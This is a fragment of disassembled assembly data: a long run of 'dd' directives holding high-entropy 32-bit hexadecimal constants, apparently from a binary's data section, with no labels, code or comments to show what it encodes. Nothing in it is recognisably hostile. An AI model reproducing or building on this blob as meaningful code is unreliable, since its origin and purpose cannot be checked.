		dd 21EB6386h, 2907AA4Ah, 5BCFC815h, 855F03E0h, 69D894DCh
		dd 3AA42683h, 60504048h, 0B18BBDC0h, 0A17E6049h, 183753F5h
		dd 80DD021Ch, 6E7C4282h, 4910804Ah, 0F85FF4BDh,	0F690029Eh
		dd 0C3B26D09h, 281B61F7h, 210D7096h, 212724B8h,	0A2586390h
		dd 0CC3731BDh, 3C00D269h, 0D06A207Bh, 627DE888h, 0E2AC60E6h
		dd 16E080A3h, 0D97D22EBh, 9C626703h, 2880C2F2h,	20FC61F9h
		dd 607A86FAh, 30046C30h, 96EAE975h, 18BAE404h, 0B207ED38h
		dd 669D04F0h, 91149632h
		dd 906CF8h, 4BF80F57h, 0B848770Dh, 8DE22021h, 763D308Eh
		dd 0A0604E20h, 1EF24FE4h, 349B42FBh, 0DCE004E9h, 54FE011Ah
		dd 98510F49h, 0D5E422F0h, 1CEAF6D4h, 830AFDC6h,	0FB5CEDCBh
		dd 0F926D3C0h, 5DE0E11Dh, 3CC8C007h, 25801EBFh,	38D5CCEAh
		dd 1FCA74ECh, 85C9DB75h, 12ACE356h, 4E501FF0h, 807CC023h
		dd 0C6D0E658h, 0AF75F90Bh, 0CBE75C0Ah, 0A55038A1h, 0F1EEF0D7h
		dd 181895D2h, 0C2E808AAh, 0B0C156F0h, 0D5FD2DE6h, 2140630h
		dd 0FB22D7B1h, 2840F3AAh, 560FCCAFh, 0EF5B6C7h,	29CA20D9h
		dd 0A0A1ABDDh, 78C90268h, 0E40935B5h, 4645139h,	0A6727DF0h
		dd 680210D6h, 70E6A3E9h, 8912E80h, 2EB1012Ch, 418872F8h
		dd 34C9C4E4h, 5C0C6180h, 188754C8h, 37FA78E2h, 8F29A8E8h
		dd 81880032h, 191EEA66h, 0B2F1E30Ah, 5C132CA9h,	231BA008h
		dd 88F11A0Ch, 74600C39h, 3490B67Ch, 0A059156Ch,	6E1884A4h
		dd 5414F26h, 66A092FCh,	19B54094h, 6E185F15h, 0E2050A78h
		dd 0D01058E5h, 77F8C8EFh, 0F23B2BE4h, 4691D9Bh,	4220D6A4h
		dd 8099E898h, 5283E04h,	0AC5BF600h, 7FE8762Ah, 750C1E50h
		dd 0A8650712h, 0D0C9E45Eh, 9BECA0E9h, 74FCF120h, 0F9F8981Bh
		dd 2558EC08h, 0F1FE8170h, 1465B2D6h, 759D09C4h,	91F628E0h
		dd 0ACE1090Ch, 14A203F9h, 58807E83h, 6ACCB620h,	0A264A053h
		dd 0C13F20BCh, 955599FCh, 0E5BC028Ch, 0BFB80412h, 88E85D22h
		dd 753057F5h, 79CF1961h, 50F8A681h, 4CC7E0F1h, 88215CA1h
		dd 0A4114824h, 76E24063h, 2DF0C10Ah, 41648CF1h,	54A8E451h
		dd 2AC05B09h, 217C93F8h, 90321198h, 2CC911F7h, 0B2210E70h
		dd 0C7197889h, 88C053A5h, 0A4E0B135h, 59C28174h, 93165CC4h
		dd 0A2401694h, 42F42DA0h, 8028AD0Ch, 99A31D51h,	958E0B0Ch
		dd 0B6C2D801h, 0A80462F4h, 882E53E5h, 5FE0C431h, 0C9F44214h
		dd 45955710h, 0D5408911h, 9E6021E0h, 2823459Ah,	8085ED22h
		dd 30999D1Ah, 0A0810E0Ch, 4C60C28Ch, 21FE0C55h,	0E8D3523Dh
		dd 14E1A828h, 0D1908028h, 21850C99h, 4F64E501h,	3D80F29Ch
		dd 0B1366444h, 0F2A07549h, 0E8241677h, 0EC111461h, 0ACD82429h
		dd 0C1DC4374h, 0C8506157h, 3285463h, 744E421h, 1565225Fh
		dd 4A0C81DFh, 0A6BA797Fh, 0ADE4BAD8h, 4C289558h, 23AA2C49h
		dd 35115F26h, 0A0304BBFh, 127AC98Fh, 70E45D3h, 0C8A2D678h
		dd 2870DC88h, 232144DCh, 276C2619h, 46F40718h, 846331A1h
		dd 0F2152870h, 0DABD4A22h, 8CA8A434h, 0A681E3Ch, 0E8C8639Ch
		dd 15823CA3h, 3C8C2DB1h, 3C38D8AAh, 0E623B389h,	0BFAEC261h
		dd 1C884904h, 9E243C08h, 9261CC80h, 15AA7DDBh, 0EA03ACF4h
		dd 0BA22BB5Eh, 4CB0A468h, 0D5D0A8E3h, 2B7E0780h, 426E9057h
		dd 347A4938h, 5DF06301h, 0DAEE1102h, 73D6FECh, 183AF69Dh
		dd 0FE90805Fh, 27002C99h, 6E955C32h, 0FAB9C5h, 3C0F65F4h
		dd 0CBB10933h, 0B845FE00h, 0A9F2DC22h, 7491D7Dh, 0ACB97164h
		dd 40462BF5h, 28B7CEh, 25C80B7Ch, 8FF04995h, 2AF45D03h
		dd 0C8627741h, 0D5A47Dh, 52835BC5h, 0C31ADE20h,	0DF223Ch
		dd 923EE89Ah, 3EB1096h,	19586205h, 42885CB4h, 0B2EA8999h
		dd 0DE9A5703h, 881AFA13h, 712D4Dh, 0EEE5E7F2h, 40E9EBCFh
		dd 2F73CA1Ch, 0DFE3D200h, 0E54DA12Eh, 282DDA00h, 4B3DB300h
		dd 0E45829E5h, 189660D5h, 0FF6635F7h, 10FDD730h, 50AC0471h
		dd 73D9A25h, 3E317889h,	0D1B66005h, 0E7186A1Ah,	0A7592F5Bh
		dd 15EAC7h, 7C044221h, 2716B54Bh, 0F1CBAE1Eh, 729135C0h
		dd 0EF0B4ACh, 93DC638h,	0D5AD04C0h, 7B010328h, 2ACA17E5h
		dd 6C40196Ah, 7ABA6D0Eh, 0C6B0018h, 2F2A2CB7h, 630C9727h
		dd 29D57C61h, 11EE005Bh, 0FE93F9E1h, 3C3AD71Ch,	0E7C9E1F8h
		dd 0A98024D2h, 92C8A0AEh, 0A1FA284Bh, 0F715261Fh, 0DCFC3D06h
		dd 0C01A7F31h, 5FB45059h, 7200D5EBh, 20E5E047h,	0E419E6h
		dd 5BEF7085h, 67BE54DDh, 3028243Eh, 0F472397Ah,	6B2F0097h
		dd 0E5F95F8Ah, 9130D712h, 0B75620DDh, 8C5D0064h, 0F5DB5246h
		dd 2E001285h, 40F6B8FFh, 0B358BEh, 0EDA791F2h, 9BE03CCCh
		dd 0E838DD00h, 0E164F15Dh, 79DB7898h, 20DE03E7h, 24DC917Fh
		dd 2BA0EEF3h, 14A5D1EAh, 0BE281D1Eh, 39DF30C0h,	10AF9AE4h
		dd 0E81B24h, 2CC39BF0h,	0DDD2E0h, 3B3B13Ah, 0CE9DE338h
		dd 0D8EF90C1h, 18BAAE28h, 7CAAD50h, 0CE9EE53Eh,	9D804D36h
		dd 2507EA28h, 81CED7ECh, 28CD9F1Eh, 24C67886h, 0EB18311Ch
		dd 0CC59DF98h, 0C4CE722h, 0F142307Eh, 3AD9EE20h, 0C1D6E002h
		dd 809FE42Bh, 0C394EB88h, 297F6027h, 9C34CD7Eh,	0BB482A1Eh
		dd 0CC1A4712h, 52998049h, 609F8E7Ch, 0C83C3141h, 400F6408h
		dd 0A0397A48h, 0C18A5E09h, 0E21D004Fh, 94C7F45Fh, 0AE00E42Ch
		dd 3C377C98h, 7C4EB9FCh, 42111CBBh, 337700E0h, 0CF447BB2h
		dd 7A71AF60h, 1011A3E1h, 761AA2h, 0F282C194h, 60A6FA84h
		dd 7289288Fh, 0B1087F54h, 943863Eh, 25D7BEh, 4E1804FEh
		dd 0B2C2038Eh, 0BB682171h, 8180BE14h, 942F14BFh, 59701898h
		dd 11F19A3Dh, 288F4D61h, 40154C69h, 3EB2DF06h, 110329AFh
		dd 1AA3B3B4h, 6959187Ah, 0B66AB10Eh, 0C05879C5h, 802D2C08h
		dd 0E83AD8C5h, 592A487Ch, 9807B47Ah, 9A8EA735h,	8D11D0CAh
		dd 0B662A688h, 30033063h, 0E30B8C39h, 675B930h,	0D50743B9h
		dd 0E3B68E5h, 0BCDF05D2h, 0A40C7E9Fh, 14DC9980h, 0DCA1A0FCh
		dd 0DF0A845h, 61EA7F24h, 3E6630DEh, 4D1895F0h, 3218144Ch
		dd 0A2420F58h, 3F917815h, 438424C8h, 0C0393718h, 272A02CEh
		dd 966A31C7h, 0A7E2181Dh, 580AC34Ch, 30E8F114h,	3C0991B6h
		dd 284E4872h, 0D8F13961h, 489BC9C4h, 0AF916A4h,	7436ACC9h
		dd 56813F40h, 0DF215C43h, 75B86210h, 462208E9h,	15064B1h
		dd 0C4151A22h, 91F22134h, 0A5A2C40Fh, 46847228h, 426AA2EAh
		dd 38281914h, 458D8208h, 6E78711Ah, 353A128Dh, 51B0EE08h
		dd 8D920803h, 14402642h, 0A504650h, 533A428Dh, 9940BE30h
		dd 4433135Ch, 5DB8CE6Ch, 0A24460E6h, 4E1D842h, 36046044h
		dd 0F2A768B7h, 84418CC9h, 8813BCCFh, 0E3F10903h, 75AC8B4Dh
		dd 0F8558890h, 33BC5F09h, 0B9A024B3h, 4EDEB640h, 0A49AEEC8h
		dd 0CF10A562h, 3E4C98D0h, 9098999Eh, 4C492293h,	1B8AB039h
		dd 980E248h, 1082B861h,	48F47060h, 0BE84E88Ch, 0DDC8D4Bh
		dd 904180A8h, 583BC2D8h, 68A0A887h, 84EC5880h, 0D2168C4Ch
		dd 0CE36032Ch, 2EBFDF3Ah, 80D11E87h, 0DDCBED67h, 0F7456300h
		dd 931A2091h, 0F12A00DFh, 0E725D1E8h, 7107CDECh, 28D99BEBh
		dd 3DD8E9E1h, 0D11128B0h, 0EDF825C2h, 58FCDC58h, 0F02A0035h
		dd 0E171DDE8h, 470F1C4h, 39CD0ED2h, 21A79D1Ah, 2BDA80F1h
		dd 358D01Eh, 0AF04D1ECh, 84124DACh, 0B400DD9Dh,	0F72F049Eh
		dd 9E18A5EFh, 0FB11721Bh, 8F92B0E0h, 9BBF9F07h,	6F30303Ch
		dd 5C18EAF1h, 0C505187Eh, 0C0699AC8h, 0E9C1F270h, 1FB84F4Dh
		dd 0DF535437h, 7485E01Fh, 8816123h, 0F50088FDh,	3F4A6BF3h
		dd 41607867h, 1F19C425h, 98F636h, 0FCDF9D1Eh, 0CCB80384h
		dd 0ADDA8D02h, 533531E7h, 8C3062B4h, 7F034080h,	0D9CB71EAh
		dd 0B39583D7h, 0E8E6C2D8h, 5B93EF4h, 6BC2C1F3h,	807C5CFAh
		dd 0D2A76C9Bh, 9C8DF22Ah, 717C0CC4h, 2162410h, 70180537h
		dd 28396B68h, 0E2B05A0Fh, 0FC68C6BEh, 0D867F873h, 2751C581h
		dd 40BE7CECh, 772E4070h
		dd 0FC502363h, 3690309Dh, 0EF417E31h, 883B8CA5h, 0F332998Bh
		dd 43A8100h, 427F6CE1h,	9159h, 0A373C049h, 1B30471Eh, 0D836198Fh
		dd 1DA17668h, 8BF07549h, 8C117F01h, 4109914Eh, 0E228DA24h
		dd 6445F282h, 9831271h,	47F3D3B0h, 59E8DE0h, 968AAC00h
		dd 45D07082h, 0DF9400E7h, 0C39DEF71h, 0EC3CF13Ch, 78E02CC4h
		dd 50803BC5h, 0B0E52AC0h, 1DDFF854h, 48638Fh, 1A35C2D0h
		dd 8279A591h, 760AE53h,	9872AAE7h, 0C728CCF0h, 1F04A6A4h
		dd 14366A68h, 8D00CABh,	38D9BD07h, 0B394C8E7h, 7DF6C530h
		dd 0C820825h, 7188B095h, 9DF6F998h, 10CF10A0h, 3229F002h
		dd 8C09410h, 4CA00EC8h,	30F0662Bh, 52099646h, 8CC8145Ah
		dd 3C21F899h, 83332D2h,	0B10FA1E2h, 130A0210h, 9C6EF2B2h
		dd 1A027AC2h, 0D28F0C90h, 50808CACh, 44354FF6h,	54D318BBh
		dd 9809229Bh, 899A9544h, 249C129Fh, 919E4899h, 44802263h
		dd 8789829Dh, 81248412h, 8B918648h, 857C8822h, 41694A00h
		dd 4F6EF291h, 0C98F6717h, 4DB85CB3h, 9C9484A5h,	6DC5BA04h
		dd 7A080F7Fh, 0AA1E9680h, 250391BBh, 7F41F04Ch,	0E06E349h
		dd 0DC7C27E0h, 8396BC84h, 0F5A0C9DFh, 0FDF0704Ch, 0C5F838E8h
		dd 9130BAF0h, 0A60A40EDh, 26F1204Ah, 817C2A38h,	4196D642h
		dd 48291B83h, 40FFDAFh,	0BD25ABFEh, 0BA018866h,	0BF844B62h
		dd 0C717496Ch, 0DC5949FEh, 0DD98065Ch, 51A38F2Bh, 28CB431Fh
		dd 5E095D59h, 0D0BE7016h, 357255DFh, 8075F504h,	0C07059CDh
		dd 2803B74Bh, 1A1C417Ch, 7621147Fh, 0AE380Eh, 5E3AD11Eh
		dd 3EFAD831h, 0ED19A5C1h, 0DC62184Fh, 4302170Fh, 0C585CDB3h
		dd 361C8748h, 0BAF4D7C0h, 93BF14DCh, 0B78528BEh, 0E460EA6Ah
		dd 79BB5593h, 1B28C38Dh, 303E8198h, 8C1D7BB0h, 5D8F5E62h
		dd 0F7830003h, 0EF44F2h, 8048C3E8h, 1E2791F0h, 2BDCEA03h
		dd 0A04FB3BEh, 0CDEC1Ah, 0DFE8903Ah, 0DCEEE62Fh, 0BD7F5601h
		dd 9FF136CEh, 99D03AD9h, 1A3807D9h, 4F5CF28Ch, 0EB366480h
		dd 40C3CC94h, 0E025CEC4h, 152778D0h, 40F1D21Dh,	0CC9D0F7Ch
		dd 0B003E03Eh, 0C5E0BA91h, 6EF0EB3Ah, 98C130A4h, 0DD9EE43Dh
		dd 10791C4Ch, 1EFE536h,	27C38D7Fh, 3DD19DEBh, 0EC0A604Dh
		dd 10FDE7B2h, 746B1FA4h, 28C915A5h, 0D18B187Fh,	2940A4FCh
		dd 0A035FADh, 0F29EF628h, 6024C72Ch, 0F02790E8h, 21F5E3Eh
		dd 4D03E792h, 7F3898E4h, 679500E6h, 24C68A93h, 0C552ECE1h
		dd 0C0409114h, 91934DF1h, 0E35C0796h, 42366FD2h, 0F8A0C2E7h
		dd 59F728C3h, 0AB9C0D4Ch, 0E40093ACh, 0F0BA456Eh, 1D844460h
		dd 0C77AF2BFh, 0B12ECEE7h, 3022DD9Fh, 35269534h, 18BA00F1h
		dd 0B328969Eh, 9328241Dh, 0D2EC8098h, 0E7AB6FCAh, 0E62BDD0Dh
		dd 50920899h, 0AFA8031Ch, 0CCC44DDFh, 6B1F0E20h, 3E09EF93h
		dd 50EC0DEDh, 6858CC7Fh, 6991B13Eh, 5D04F490h, 581E2474h
		dd 24C30030h, 216D93EBh, 4A901B58h, 40A598A8h, 9D1B7158h
		dd 54B02FD9h, 8F010478h, 0F036DCD7h, 0E2E005E8h, 40C662ECh
		dd 0C060CD9Eh, 3901CE93h, 2ED29F1Eh, 50D398E4h,	24638C10h
		dd 2B0D345h, 28D8D1E6h,	259170C0h, 1B78FC98h, 0A083DF24h
		dd 0CE94E206h, 0DA9F3110h, 21D8E960h, 255882ACh, 55DCD0E6h
		dd 4007D863h, 2AC2C4DFh, 0F0C8EC46h, 0B52AF1EAh, 0D960AFD4h
		dd 0E6A03194h, 0D0B32A9Eh, 0F829F5EFh, 0F11A21D0h, 2D4ECE6h
		dd 1B29CC91h, 60C6DE93h, 651CA578h, 0D145E836h,	0CCC5EA28h
		dd 8FABB864h, 259B3FB0h, 3A845E71h, 1EE8E424h, 0C8ED8F27h
		dd 25C23098h, 54E8E725h, 7F675070h, 0F4D70C9Eh,	1A481E05h
		dd 0C480CCEEh, 0B03CC488h, 0E4DC59B4h, 0D838D2C4h, 98B0900Ch
		dd 35C29816h, 92DDDC0Eh, 28DCD80Dh, 0C43AF2F3h,	311C90C4h
		dd 280936D1h, 4AC461E4h, 50DC7CE4h, 0B782C0ACh,	0E09FE982h
		dd 74D21620h, 6FE8F8CCh, 0C38F68DCh, 0C2D7E081h, 4B207228h
		dd 0A42C9010h, 80CD3C87h, 9DB0A02Eh, 9FF6E1E9h,	0EE812B58h
		dd 98EF22C2h, 91B005F3h, 349082B8h, 0CA508018h,	0CBE7F54h
		dd 95015DDFh, 62E7A54Dh, 29E846Ch, 7F35CA99h, 0F07A291Ch
		dd 6449D118h, 0BA0525C8h, 0EB27DD99h, 0F8E950A3h, 9B0B903Ah
		dd 21B25CDh, 0E88F27D8h, 15D7E664h, 401A3CDCh, 0F8124E2Fh
		dd 0B1935020h, 7DE88641h, 20F12B2Eh, 0D99BEC84h, 0DDF0C1BAh
		dd 4B443C29h, 8993ACE8h, 0C7D43C3Ch, 0CD40BF91h, 399E55Ah
		dd 0D1E42BD9h, 9FC13AC4h, 948C706Ch, 0E33B9117h, 8F569000h
		dd 0F95AD2B4h, 9A508005h, 21C03EDAh, 0C09FF73Ah, 27E07436h
		dd 50A424D9h, 0CC8B61Ah, 68C2F17Fh, 54F5FBEh, 0D43C90A2h
		dd 80342EE8h, 1E3AC08Dh, 0E850BE9Fh, 8D825D68h,	0FBF024C6h
		dd 91BB8290h, 0F0801B27h, 79A3BE71h, 9D00BAE8h,	93F124C0h
		dd 0CEE639CBh, 0CDE11A21h, 0D1EE1E2Bh, 19C8473Eh, 0B3AD30C3h
		dd 63B313E0h, 38358084h, 93CF102Fh, 0EB2BC69Ch,	94F8E8BEh
		dd 0E328AF6Bh, 0C088A160h, 0DC001C21h, 0B494E72Ch, 0C9E800A0h
		dd 0DEECF125h, 0C3FEE6E8h, 0DD12B89Ch, 0A9F2E098h, 80444FC4h
		dd 0D2858C21h, 0EE92F839h, 2CEF540Fh, 14DED841h, 0DC9EF03Ah
		dd 4F932874h, 0A3D883D0h, 3DB0C0E3h, 0C6EE26E4h, 62283C04h
		dd 0CEEC0180h, 0A475A33Ah, 0CDB04238h, 60D2F0A6h, 51C2E917h
		dd 0C304DCCCh, 3FD1D028h, 5225E920h, 0DC5358DFh, 0D696BD12h
		dd 0C0163060h, 0D48CA32Eh, 83EF1236h, 0EC440AC6h, 644C69F4h
		dd 0CD92F09Eh, 30832013h, 3E6CE01Eh, 0B89F6CF1h, 0C0D065E8h
		dd 1A2717F0h, 0EBBFB4A8h, 953B0370h, 4E6746F2h,	69A21900h
		dd 65F418D8h, 337B1975h, 34A4087Dh, 6100F390h, 9DC4ECD8h
		dd 76686BBh, 0C8AE3129h, 4840D06Ch, 4544BE90h, 75F57EACh
		dd 0FB71F4h, 71CDAF17h,	0B4C8C65Ch, 58307463h, 27913E81h
		dd 4702181Fh, 0C769BFECh, 0DB0FC09Bh, 0A1707147h, 0EB363F00h
		dd 0A2843218h, 427C1698h, 661CCCh, 484386D4h, 0D61825F1h
		dd 0B307FA3h, 609569B4h, 7AEAF382h, 2078415Fh, 807CE1C4h
		dd 0EB0F92C8h, 38D4D23Eh, 149E7E20h, 209041ABh,	18E271F1h
		dd 8D9113D7h, 0D170A41Bh, 0E0013270h, 4FDB3D38h, 8985570h
		dd 4A7C21D5h, 69002CE0h, 71A94344h, 3FC6EF6h, 0A5A8F238h
		dd 4AF29F8Fh, 522DCCA0h, 0F60310B1h, 73C8689Ch,	345B088h
		dd 5CE8C3ABh, 4EB1AE8Ch, 0C8904ABBh, 42616C50h,	0AAF22409h
		dd 0D4007D12h, 0C049963Eh, 4E401CA6h, 424120E9h, 1C5D8481h
		dd 0E1A40070h, 446DD632h, 61C7BBC2h, 48250236h,	73CBA003h
		dd 0A85EC238h, 0B808C008h, 0B931BD63h, 11A1A0C8h, 0BEF888CDh
		dd 39D12C37h, 54E04ED8h, 0BB48253Ah, 0E60A940Ah, 86C41C69h
		dd 0F1898A0Ch, 83025Ch,	417C9A84h, 1730EDh, 6816DBD3h
		dd 53BE224Eh, 0D0A861C0h, 0F0B138F3h, 2CCD1E7Eh, 0A9CB4007h
		dd 27B9C7B8h, 0A490DA28h, 9587E900h, 1E31366Ah,	0A0DC30FAh
		dd 6E34CD80h, 91CC4F50h, 0E74ED12h, 0DBF3472h, 0E5AC1C38h
		dd 0E250E749h, 0C2E028A1h, 1D301002h, 0A8FF00CCh, 948BB2ADh
		dd 549173C2h, 6D18AAD1h, 7D03B479h, 69CF33B1h, 0E7790063h
		dd 8729C6B2h, 19005C47h, 551509A7h, 73D01B7Ch, 49A46069h
		dd 6A652889h, 0EC38E71Ch, 7A41D55Dh, 1934154Bh,	47BE8041h
		dd 0AA072310h, 0D393AC1Fh, 88B34B40h, 4970C2D2h, 97EC140Dh
		dd 160E2446h, 13419E64h, 80BF6A43h, 41C045A9h, 3124DA9h
		dd 7AF615EAh
		dd 29D82876h, 0FC704AC8h, 1D39CA18h, 30A2E470h,	49B97D1Ah
		dd 7B4CE8CFh, 0D136026Ch, 48180CC1h, 24333210h,	5408CE75h
		dd 1110A943h, 0C8C9044Ah, 0C4848CCCh, 0DCD0F404h, 4C22D49Eh
		dd 0C1082087h, 30EECF10h, 0B8DE605Dh, 78F01838h, 69D40AC9h
		dd 18DDA04Eh, 467E18h, 5347D944h, 6E92E3E7h, 70B25612h
		dd 0BEF045FAh, 0DD8C4046h, 0C2E43725h, 0FC8AA725h, 0EEF560E8h
		dd 2A30FA02h, 54FB1009h, 4D492822h, 0B2111FD4h,	3F513139h
		dd 0C460DEC8h, 909AAACEh, 3A644944h, 0E9922A6Bh, 2430FFE4h
		dd 129FDAB9h, 30214F90h, 0F5864E30h, 4CB5202h, 40DB1E82h
		dd 4BC9B719h, 0C08CFC7Fh, 404ACC1Ch, 0FC304B84h, 9009C3Ch
		dd 6916E042h, 604FCD0h,	6A2C36B8h, 9020B1h, 0D17820h, 353F60E2h
		dd 6653CBA7h, 951958A0h, 8B209D05h, 0B80A3677h,	0FEA5C0D4h
		dd 0E9836054h, 5BE6C026h, 3301C101h, 4E7A2C4Ch,	1CA468A3h
		dd 0C0A06E2h, 0E15338A2h, 14C20C58h, 58412802h,	72C0D0E0h
		dd 0D0F350DDh, 0D11D801h, 8853F7A7h, 0FF681820h, 0A18F440h
		dd 434814h, 647765A2h, 8FC701BCh, 2475E525h, 0FCD5F1D9h
		dd 7F1403E7h, 80E05ABFh, 940E9271h, 0AFE3061Eh,	8BB16BEh
		dd 5A218D60h, 75180E8Ah, 5F7B031Fh, 0A6449F2h, 0D02CC018h
		dd 0ECA2E9h, 36F73797h,	8868D874h, 0C829CA2h, 4E7549C6h
		dd 46789068h, 0B37388Ch, 1C2538E1h, 0E07B7ACCh,	0BA600085h
		dd 3EEED9Dh, 0A13F6F79h, 38F161E3h, 0E7E57ACAh,	0E8910421h
		dd 0E1980BCh, 8C8B1E67h, 5B8944h, 0E3C30E91h, 843A72B9h
		dd 810CC748h, 0D41E25B3h, 74102422h, 3C0806A6h,	3818A46Eh
		dd 0A818C65Fh, 85D9E066h, 86607C05h, 2414C584h,	45AA11A4h
		dd 553B1453h, 48DEE21Ah, 8DD0BCB3h, 0D0C5E0E1h,	2442FD84h
		dd 46A1CE24h, 0A3D4406Ch, 0F24DC70h, 0BFC058E5h, 0C133B2h
		dd 848B6DE9h, 0A2454C8h, 6A85A342h, 0B5B840B8h,	20C03805h
		dd 79EEA16h, 9B04C400h,	0ADC234E5h, 60A964E4h, 0E4A0C9ADh
		dd 57B9826h, 0B962B3EBh, 0DEE44F7Ah, 0C649FE20h, 95321E8Fh
		dd 0C84D09C1h, 5A3BE1Ch, 0BC6467CFh, 98800468h,	0F2940219h
		dd 8F9C5141h, 0F4C4D86Ah, 79637Dh, 0D8628221h, 17AA3078h
		dd 39FF3Fh, 2690897Ah, 95093Bh,	0CA0B20F9h, 22CF4011h
		dd 2F36E200h, 1297FA48h, 3B08005Eh, 0A33DA4CEh,	2760448Fh
		dd 0B787338h, 0DD2B3E79h, 3FB4608Ch, 0AF07CD18h, 5FD61DEDh
		dd 580A36h, 669B3630h, 0C4BB753Dh, 9369B904h, 57813A52h
		dd 0D4D0265Fh, 0F7600616h, 1036270Ch, 684E7F00h, 0EBB9D8E1h
		dd 3430CFB5h, 510B5018h, 6B0199FCh, 23FCC0FEh, 6C489D21h
		dd 307B0685h, 305D03DEh, 9371CA00h, 0ECDB6E4Dh,	90D71BE6h
		dd 21D608F4h, 0DCEC76B0h, 7FBD8106h, 3A485B44h,	74807870h
		dd 0A9EED62h, 50F9F9A8h, 16A4D098h, 0D6BD8A01h,	0C6B55DB7h
		dd 212C0898h, 1600DCF6h, 0C959420Eh, 3B5FFA3h, 79370413h
		dd 600324E8h, 32EA1180h, 0AAD900D6h, 60A27BB7h,	619D46Ch
		dd 0E4089C5Bh, 8F942181h, 30B06B7Bh, 0BD1EACFAh, 5482C0C2h
		dd 0A20DC8B9h, 80AF889Ch, 55EAAA8h, 548718BDh, 0C4447042h
		dd 39440091h, 0AEC21340h, 5CF6589Fh, 0C4A025E8h, 38399888h
		dd 43BF0BD1h, 4A05DF71h, 18F431CAh, 88831010h, 3730Ch
		dd 0ACC6BF0Bh, 0A3F96015h, 5FDF5C09h, 90C24C4h,	9701C240h
		dd 0C2F1AB34h, 60A9B084h, 23B516A5h, 2911DEBDh,	16DDFB01h
		dd 0D0451839h, 0F065FBAh, 0FA9DDF63h, 959A0368h, 0C3B91ECDh
		dd 0CE2080FCh, 9D01CF60h, 0A35FD915h, 82D88351h, 0C50F0690h
		dd 28C0F5A9h, 2700452h,	63288B9Ah, 5AB4B0BCh, 0C9FD30A9h
		dd 0F82B0230h, 45993D60h, 86899Eh, 0E1A68A47h, 876495EEh
		dd 1A82055h, 40A4C8h, 6899DCDBh, 0C0CC68E1h, 8714A897h
		dd 98852100h, 0A26380B3h, 60DEE2DAh, 9FBD693Ah,	54927249h
		dd 0E6A5D8F1h, 75AB90C0h, 29AF71AAh, 30F0D9DAh,	35FFF0C8h
		dd 0C75EAC06h, 878E225h, 283287A1h, 487C1001h, 2020CB20h
		dd 8FDB0AB6h, 80D80718h, 921D6DEBh, 3D0C8793h, 8978C34h
		dd 20DB6019h, 0B412A5C9h, 7E634B01h, 70CB23B5h,	2008F09Dh
		dd 8A0A4A1Ch, 0C0DFF848h, 8BB4696h, 449469C1h, 98432EABh
		dd 950BF79h, 2697A3A8h,	513473CDh, 8100D318h, 0FC5E2F83h
		dd 0E22B8839h, 0B6532E12h, 20F50063h, 937543AEh, 0B1F01D77h
		dd 0C4A17CA4h, 8B418E9h, 6460A17Bh, 9744E7C4h, 0EA5C08Ch
		dd 0B328B913h, 9628BCD9h, 6891890Ch, 77549502h,	0D81840D6h
		dd 3EF8A351h, 33109428h, 0A37F003Bh, 0CDDF1505h, 0FBD0C1F1h
		dd 34106111h, 0ECF3794Ch, 9A09D185h, 82097644h,	94725450h
		dd 9AA0A184h, 1648A218h, 0A0C62438h, 0F0402EC4h, 13A116DAh
		dd 0C49ACB01h, 0C7CF5551h, 3328D033h, 0DBB80078h, 440C3DFFh
		dd 2A0FA541h, 0F8515Eh,	641D37C9h, 88E20032h, 0C7416F11h
		dd 5CF88B75h, 0EEECA608h, 123E1093h, 2821B446h,	5BD44945h
		dd 24FE98B1h, 13CC0DF1h, 0ED6214B0h, 30651448h,	0F4F04257h
		dd 4C6A532Ch, 9A052462h, 44A8075Fh, 810448F7h, 0C2C29590h
		dd 0A0BC81DCh, 10ECABB8h, 0F4085045h, 1E420327h, 0DBB5307Ah
		dd 707098CCh, 93ED1D08h, 401FC49Fh, 3812A8CCh, 0E7010052h
		dd 6997DE87h, 21008B94h, 9CF655EDh, 51A5A916h, 6091A0ACh
		dd 1D6C808Ch, 437F9391h, 418223Ch, 3612A4C8h, 0DDD0814Ch
		dd 4884514h, 14298A0h, 0C3A138A5h, 81DC5435h, 8C271516h
		dd 6304D4D5h, 0C8E759C7h, 9DE6F15Ch, 5344010Ah,	9000902Bh
		dd 1E4BB207h, 2864F88Dh, 9894D04Fh, 0FDB4698h, 48734DE8h
		dd 4075C4F4h, 874DE051h, 88481DE2h, 0A5D9407Ah,	3A37E1Fh
		dd 1DD05E0Ch, 3BF90Fh, 0BB808232h, 0D8A2276Ch, 8C660A3Bh
		dd 0D841907Fh, 153DFACAh, 0F0770C8Eh, 0E3841100h, 4AA382ABh
		dd 3F03131Ah, 0B708C078h, 2C9080E2h, 940C312h, 0DF6BB802h
		dd 88417D73h, 0B2083E8h, 0D5E04E86h, 82A1203Dh,	560C2820h
		dd 970A84DAh, 2CE56A4Dh, 0EF9E701Ch, 58CFC8ECh,	0A900B07Fh
		dd 8F4BE70Ah, 700931Bh,	0FAB2952Ah, 502B5448h, 909EB8C7h
		dd 7A446D8h, 0BDB616A0h, 402DC428h, 0A216D8FAh,	0D76E02F0h
		dd 0D4355520h, 1FC7FCA0h, 78E0F3F5h, 23037502h,	0A0161DCDh
		dd 39A242C0h, 289802D0h, 5E9A6E78h, 0A90518CCh,	0F491FA58h
		dd 3820D499h, 0E42548ABh, 0E5118109h, 7B8890B0h, 8460A511h
		dd 9B87AE88h, 31707B80h, 0EADBC13h, 8C8561D3h, 11E00D60h
		dd 0A0A85F59h, 2B13B57Fh, 0C802EC72h, 1D3A122Dh, 0D8EB191h
		dd 87D047E1h, 0A8A0C7E4h, 24380958h, 9938505Ah,	59A76212h
		dd 660CC204h, 40F2B4D1h, 0C92B2180h, 0BBA056A2h, 22D69200h
		dd 0EB27E66h, 126F7682h, 493551DBh, 9001A530h, 82ADA171h
		dd 3B570C10h, 49506830h, 20D94162h, 48C8E04h, 93971D6Ah
		dd 201F624Fh, 7E12A2CAh, 52795A00h, 7668C81Bh, 5CEF0C7Ah
		dd 8F603CD3h, 1AE0E561h, 70C25Ah, 330CF460h, 0B9812C53h
		dd 6E8E4FCCh, 5712835Ch, 38E9064Eh, 0B8D635A9h,	22544A12h
		dd 10D4C40Bh, 35A1DA3Ch, 220B953h, 0DD27FCCh, 6C882701h
		dd 0C7612982h, 1842E379h, 8829E88Bh, 0D4B9DC22h, 0E70F0C20h
		dd 71D28026h, 0D0BF8124h, 0CF52DD9Ch, 0CB14C5h,	0A1CF2AC8h
		dd 93DA8EEAh, 7F02B9BEh, 3B754889h, 0A8C23452h,	0F005D7h
		dd 7E1638B0h
		dd 325BC0Ch, 1E1F3942h,	79E6FB4Dh, 862B0F00h, 0D7156533h
